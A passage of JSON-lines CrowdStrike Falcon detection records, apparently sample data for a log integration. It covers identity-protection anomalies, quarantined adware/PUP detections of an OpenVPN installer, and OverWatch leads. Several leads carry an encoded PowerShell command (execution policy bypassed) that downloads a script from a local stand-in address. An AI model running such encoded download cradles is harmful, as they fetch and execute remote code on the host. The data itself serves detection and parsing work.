GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"} +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2JIVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';ea%iM\"__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"} +{"agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","host_name":"SOMEHOST","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z"} +{"name":"OTHERUSER on OTHERHOST","agent_id":"abcd1234abcd1234abcd12","aggregate_id":"","cid":"asdfasdfsadfasdfasdf","command_line":"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA","composite_id":"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","crawled_timestamp":"2024-11-07T20:49:59.12345678Z","created_timestamp":"2024-11-07T20:49:59.123432101Z","detect_type":"endpoint","user_name":"SOMEUSER","host_type":"Server","id":"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3","image_file_name":"\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","operating_system":"Windows","pattern_id":97000,"poly_id":"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==","process_id":"123456789123","product":"overwatch","seconds_to_resolved":0,"seconds_to_triaged":0,"show_in_ui":true,"status":"new","tags":["ow/investigated","ow/resolution/benign"],"timestamp":"2024-11-07T20:47:22Z","tree_id":"12345678901","type":"lead","updated_timestamp":"2024-11-07T20:49:59.123432101Z", "prevented":true,"worker_node_name":"example"} +{"agent_id":"7940b10993e844e398f83bd92aa92b8f","aggregate_id":"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644","alleged_filetype":"exe","cid":"bdc3e3474d8848f1b8dcf41d41669a14","cloud_indicator":"false","cmdline":"cmd crowdstrike_test_informational","composite_id":"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000","confidence":100,"context_timestamp":"2025-06-06T10:20:41.124Z","control_graph_id":"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644","crawled_timestamp":"2025-06-06T10:21:45.624194206Z","created_timestamp":"2025-06-06T10:21:45.624178312Z","data_domains":["Endpoint"],"description":"An informational level detection was triggered on this process for testing purposes.","device":{"agent_load_flags":"1","agent_local_time":"2025-06-06T06:28:45.178Z","agent_version":"7.24.19607.0","bios_manufacturer":"Microsoft Corporation","bios_version":"Hyper-V UEFI Release v4.1","cid":"bdc3e3474d8848f1b8dcf41d41669a14","config_id_base":"65994767","config_id_build":"19607","config_id_platform":"3","device_id":"7940b10993e844e398f83bd92aa92b8f","external_ip":"81.2.69.144","first_seen":"2025-05-29T11:54:43Z","groups":["f3ba4e75244b4d06837c910a00bf80be"],"hostinfo":{"domain":""},"hostname":"raquel-win10-3","instance_id":"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6","last_seen":"2025-06-06T09:44:59Z","local_ip":"10.0.0.13","mac_address":"60-45-bd-d2-d4-37","machine_domain":"","major_version":"10","minor_version":"0","modified_timestamp":"2025-06-06T10:18:32Z","os_version":"Windows 10","ou":null,"platform_id":"0","platform_name":"Windows","product_type":"1","product_type_desc":"Workstation","service_provider":"AZURE","service_provider_account_id":"7599433a-346d-4c25-b9d0-2948136c41f5","status":"normal","system_manufacturer":"Microsoft Corporation","system_product_name":"Virtual 